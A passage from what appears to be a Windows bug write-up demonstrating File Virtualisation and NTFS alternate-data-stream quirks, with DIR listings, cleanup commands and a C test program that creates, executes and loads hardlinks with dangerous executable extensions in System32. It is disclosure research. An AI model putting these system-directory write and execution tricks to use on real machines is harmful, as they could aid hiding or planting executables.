    04/27/2020   8:15 PM    <DIR>          Quirk20
                                         0 Quirk20:Quirk20.BAT:$DATA
                                         0 Quirk20:Quirk20.CMD:$DATA
                                         0 Quirk20:Quirk20.COM:$DATA
                                         0 Quirk20:Quirk20.dll:$DATA
                                         0 Quirk20:Quirk20.efi:$DATA
                                         0 Quirk20:Quirk20.EXE:$DATA
                                         0 Quirk20:Quirk20.htm:$DATA
                                         0 Quirk20:Quirk20.iso:$DATA
                                         0 Quirk20:Quirk20.JS:$DATA
                                         0 Quirk20:Quirk20.jse:$DATA
                                         0 Quirk20:Quirk20.lnk:$DATA
                                         0 Quirk20:Quirk20.MSC:$DATA
                                         0 Quirk20:Quirk20.pif:$DATA
                                         0 Quirk20:Quirk20.scr:$DATA
                                         0 Quirk20:Quirk20.sys:$DATA
                                         0 Quirk20:Quirk20.ttf:$DATA
                                         0 Quirk20:Quirk20.url:$DATA
                                         0 Quirk20:Quirk20.vbe:$DATA
                                         0 Quirk20:Quirk20.VBS:$DATA
                                         0 Quirk20:Quirk20.wll:$DATA
                                         0 Quirk20:Quirk20.WS:$DATA
                                         0 Quirk20:Quirk20.wsf:$DATA
                                         0 Quirk20:Quirk20.wsh:$DATA
                                         0 Quirk20:Quirk20.xll:$DATA
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
                                         0 .:Quirk20.BAT:$DATA
                                         0 .:Quirk20.CMD:$DATA
                                         0 .:Quirk20.COM:$DATA
                                         0 .:Quirk20.dll:$DATA
                                         0 .:Quirk20.efi:$DATA
                                         0 .:Quirk20.EXE:$DATA
                                         0 .:Quirk20.htm:$DATA
                                         0 .:Quirk20.iso:$DATA
                                         0 .:Quirk20.JS:$DATA
                                         0 .:Quirk20.jse:$DATA
                                         0 .:Quirk20.lnk:$DATA
                                         0 .:Quirk20.MSC:$DATA
                                         0 .:Quirk20.pif:$DATA
                                         0 .:Quirk20.scr:$DATA
                                         0 .:Quirk20.sys:$DATA
                                         0 .:Quirk20.ttf:$DATA
                                         0 .:Quirk20.url:$DATA
                                         0 .:Quirk20.vbe:$DATA
                                         0 .:Quirk20.VBS:$DATA
                                         0 .:Quirk20.wll:$DATA
                                         0 .:Quirk20.WS:$DATA
                                         0 .:Quirk20.wsf:$DATA
                                         0 .:Quirk20.wsh:$DATA
                                         0 .:Quirk20.xll:$DATA
    04/27/2020   8:15 PM    <DIR>          ..
                   0 File(s)              0 bytes
    
         Total Files Listed:
                  18 File(s)      5,437,440 bytes
                  11 Dir(s)   9,876,543,210 bytes free
    Oops: the builtin DIR /R command of the Command Processor enumerates Alternate Data Streams not only on regular directories, but also on the pseudo directories . (and ..) synthesised by the Win32 functions FindFirstFile() and FindNextFile(), resulting in double (or triple) listing of Alternate Data Streams when the switches /R and /S are used together!
  14. Erase the subdirectory Quirk20 with its Alternate Data Streams and all (files or) hardlinks Quirk20.* created above, then list the resulting contents of the system directory and the virtual store:

    ERASE "%SystemRoot%\System32\Quirk20.*"
    RMDIR "%SystemRoot%\System32\Quirk20"
    DIR /A /R /S "%SystemRoot%\Quirk20.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    C:\Windows\System32\Quirk20.BAT
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.CMD
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.COM
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.dll
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.EXE
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.JS
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.jse
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.lnk
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.MSC
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.pif
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.scr
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.sys
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.url
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.vbe
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.VBS
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.WS
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.wsf
    The system cannot find the file specified.
    C:\Windows\System32\Quirk20.wsh
    The system cannot find the file specified.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  36 File(s)     10,874,880 bytes
                   0 Dir(s)   9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  18 File(s)      5,437,440 bytes
                   8 Dir(s)   9,876,543,210 bytes free
    OUCH: deleting (files or) hardlinks with dangerous extensions fails with the wrong error message The system cannot find the file specified. instead of the appropriate error message Access denied.
  15. Finally cleanup the mess created in the virtual store due to the bugs of the File Virtualisation:

    RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64\Quirk20"
    ERASE "%LOCALAPPDATA%\VirtualStore\SysWoW64\Quirk20.*"
    RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64"
Note: the repetition of this demonstration under a 32-bit edition of Windows Vista or any newer version is left as an exercise to the reader.

Demonstration (Variant 3)

Perform the following 6 (plus 1) simple steps to show the undocumented (mis)behaviour for some well-known extensions of dangerous alias executable files first, second a bug with NTFS Alternate Data Streams in the Win32 function DeleteFile(), and third yet another bug with Alternate Data Streams in the builtin DIR /R command of the Command Processor:
  1. Create the text file quirk20.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2009-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef _WIN64
    #error Must be built as 32-bit console application!
    #endif
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	LPCWSTR	szExtension[] = {L".acm", L".asa", L".asp", L".ax",  L".bat", L".chm", L".cmd", L".cnt", L".cnv", L".com", L".cpl",
    		                 L".crt", L".dll", L".drv", L".efi", L".exe", L".fon", L".hlp", L".hta", L".ime", L".inf", L".ins",
    		                 L".iso", L".isp", L".its", L".js",  L".jse", L".lnk", L".msc", L".msi", L".msp", L".mst", L".mui",
    		                 L".nls", L".ocx", L".pif", L".reg", L".scr", L".sct", L".shb", L".shs", L".sys", L".tlb", L".tmp",
    		                 L".tsp", L".ttf", L".url", L".vb",  L".vbe", L".vbs", L".wll", L".wsc", L".wsf", L".wsh", L".xll"};
    #ifndef ADS
    const	STARTUPINFO	si = {sizeof(si),
    			      (LPWSTR) NULL,
    			      (LPWSTR) NULL,
    			      (LPWSTR) NULL,
    			      0, 0, 0, 0,
    			      0, 0,
    			      0,
    			      STARTF_USESTDHANDLES,
    			      0,
    			      0,
    			      (LPBYTE) NULL,
    			      INVALID_HANDLE_VALUE,	// STDIN
    			      INVALID_HANDLE_VALUE,	// STDOUT
    			      INVALID_HANDLE_VALUE};	// STDERR
    #endif
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    #ifndef ADS
    	PROCESS_INFORMATION pi;
    #endif
    	DWORD	dwModule;
    	WCHAR	szModule[MAX_PATH];
    	WCHAR	szOriginal[MAX_PATH];
    	DWORD	dwOriginal;
    	DWORD	dwExtension = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwVirtual;
    	WCHAR	szVirtual[MAX_PATH];
    	HANDLE	hVirtual;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwModule = GetModuleFileName((HMODULE) NULL, szModule, sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule == 0)
    			PrintConsole(hConsole,
    			             L"GetModuleFileName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwOriginal = GetSystemDirectory(szOriginal, sizeof(szOriginal) / sizeof(*szOriginal));
    
    			if (dwOriginal == 0)
    				PrintConsole(hConsole,
    				             L"GetSystemDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifndef ADS
    				wcscpy(szOriginal + dwOriginal, L"\\Quirk20");
    #else
    				wcscpy(szOriginal + dwOriginal, L":Quirk20");
    #endif
    				if (!CreateDirectory(szOriginal,
    				                     (LPSECURITY_ATTRIBUTES) NULL))
    					PrintConsole(hConsole,
    					             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szOriginal);
    				else
    				{
    					dwVirtual = GetFileAttributes(szOriginal);
    
    					if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    						PrintConsole(hConsole,
    						             L"GetFileAttributes() returned error %lu for directory \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    					else
    						if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    							PrintConsole(hConsole,
    							             L"Directory \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    							             szOriginal);
    
    					if (!RemoveDirectory(szOriginal))
    						PrintConsole(hConsole,
    						             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    				}
    
    				do
    				{
    					wcscpy(szOriginal + dwOriginal + sizeof("Quirk20"), szExtension[dwExtension]);
    
    					hVirtual = CreateFile(szOriginal,
    					                      FILE_WRITE_DATA,
    					                      FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    					                      (LPSECURITY_ATTRIBUTES) NULL,
    					                      CREATE_ALWAYS,
    					                      FILE_ATTRIBUTE_NORMAL,
    					                      (HANDLE) NULL);
    
    					if (hVirtual == INVALID_HANDLE_VALUE)
    						PrintConsole(hConsole,
    						             L"CreateFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    					else
    					{
    						dwVirtual = GetFileAttributes(szOriginal);
    
    						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    							PrintConsole(hConsole,
    							             L"GetFileAttributes() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    								PrintConsole(hConsole,
    								             L"File \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    								             szOriginal);
    
    						dwVirtual = GetFinalPathNameByHandle(hVirtual,
    						                                     szVirtual,
    						                                     sizeof(szVirtual) / sizeof(*szVirtual),
    						                                     FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
    
    						if (dwVirtual == 0)
    							PrintConsole(hConsole,
    							             L"GetFinalPathNameByHandle() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							PrintConsole(hConsole,
    							             L"File \'%ls\' is virtualized to \'%ls\'\n",
    							             szOriginal, szVirtual + 4);
    
    						if (!WriteFile(hVirtual,
    						               L"\xFEFF",	// UTF-16LE byte order mark
    						               sizeof(L'\xFEFF'),
    						               &dwVirtual,
    						               (LPOVERLAPPED) NULL))
    							PrintConsole(hConsole,
    							             L"WriteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							if (dwVirtual != sizeof(L'\xFEFF'))
    								PrintConsole(hConsole,
    								             L"WriteFile() failed, %lu of %lu bytes written to file \'%ls\'\n",
    								             dwVirtual, sizeof(L'\xFEFF'), szOriginal);
    
    						if (!CloseHandle(hVirtual))
    							PrintConsole(hConsole,
    							             L"CloseHandle() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    #ifndef ADS
    						if (!CreateProcess(szOriginal,
    						                   (LPWSTR) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   TRUE,
    						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
    						                   L"",
    						                   (LPCWSTR) NULL,
    						                   &si,
    						                   &pi))
    							PrintConsole(hConsole,
    							             L"CreateProcess() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"File \'%ls\' started as process %lu with primary thread %lu\n",
    							             szOriginal, pi.dwProcessId, pi.dwThreadId);
    
    							if (!CloseHandle(pi.hThread))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hProcess))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						hVirtual = LoadLibrary(szOriginal);
    
    						if (hVirtual == NULL)
    							PrintConsole(hConsole,
    							             L"LoadLibrary() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"File \'%ls\' loaded at 0x%p\n",
    							             szOriginal, hVirtual);
    
    							if (!FreeLibrary(hVirtual))
    								PrintConsole(hConsole,
    								             L"FreeLibrary() returned error %lu for file \'%ls\'\n",
    								             dwError = GetLastError(), szOriginal);
    							else
    								PrintConsole(hConsole,
    								             L"File \'%ls\' unloaded from 0x%p\n",
    								             szOriginal, hVirtual);
    						}
    #endif
    						if (!DeleteFile(szOriginal))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    					}
    #ifndef ADS
    					if (!CreateHardLink(szOriginal,
    					                    szModule,
    					                    (LPSECURITY_ATTRIBUTES) NULL))
    						PrintConsole(hConsole,
    						             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    					else
    					{
    						dwVirtual = GetFileAttributes(szOriginal);
    
    						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    							PrintConsole(hConsole,
    							             L"GetFileAttributes() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    								PrintConsole(hConsole,
    								             L"Hardlink \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    								             szOriginal);
    
    						if (!CreateProcess(szOriginal,
    						                   (LPWSTR) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   TRUE,
    						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
    						                   L"",
    						                   (LPCWSTR) NULL,
    						                   &si,
    						                   &pi))
    							PrintConsole(hConsole,
    							             L"CreateProcess() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"Hardlink \'%ls\' started as process %lu with primary thread %lu\n",
    							             szOriginal, pi.dwProcessId, pi.dwThreadId);
    
    							if (!CloseHandle(pi.hThread))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hProcess))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						hVirtual = LoadLibrary(szOriginal);
    
    						if (hVirtual == NULL)
    							PrintConsole(hConsole,
    							             L"LoadLibrary() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"Hardlink \'%ls\' loaded at 0x%p\n",
    							             szOriginal, hVirtual);
    
    							if (!FreeLibrary(hVirtual))
    								PrintConsole(hConsole,
    								             L"FreeLibrary() returned error %lu for hardlink \'%ls\'\n",
    								             dwError = GetLastError(), szOriginal);
    							else
    								PrintConsole(hConsole,
    								             L"File \'%ls\' unloaded from 0x%p\n",
    								             szOriginal, hVirtual);
    						}
    
    						if (!DeleteFile(szOriginal))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    					}
    #endif
    				}
    				while (++dwExtension < sizeof(szExtension) / sizeof(*szExtension));
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    Note: the MSDN article File Attribute Constants documents FILE_ATTRIBUTE_VIRTUAL rather sparse:
    Constant/value Description
    FILE_ATTRIBUTE_VIRTUAL
    65536 (0x10000)
    This value is reserved for system use.
  2. Build the 32-bit console application quirk20.exe from the source file quirk20.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE quirk20.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk20.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk20.c
    quirk20.c(197) : warning C4090: 'function' : different 'const' qualifiers
    quirk20.c(275) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk20.exe
    quirk20.obj
  3. Start the console application quirk20.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk20.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Directory 'C:\Windows\system32\Quirk20' has 'FILE_ATTRIBUTE_VIRTUAL'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.acm'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.acm'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.acm'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.acm'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.acm'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.asa'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.asa'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.asa'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.asa'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.asa'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.asp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.asp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.asp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.asp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.asp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.ax'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ax'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ax'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.ax'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.ax'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.bat'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.bat'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.bat'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.bat'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.bat'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.chm'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.chm'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.chm'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.chm'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.chm'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.cmd'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cmd'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cmd'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.cmd'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cmd'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.cnt'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cnt'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cnt'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.cnt'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cnt'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.cnv'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cnv'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cnv'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.cnv'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cnv'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.com'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.com'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.com'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.com'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.com'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.cpl'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cpl'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cpl'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.cpl'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.cpl'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.crt'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.crt'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.crt'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.crt'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.crt'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.dll'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.dll'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.dll'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.dll'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.dll'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk20.drv'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.drv'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.drv'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk20.drv'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk20.drv'
    File 'C:\Windows\system32\Quirk20.efi' has 'FILE_ATTRIBUTE_VIRTUAL'
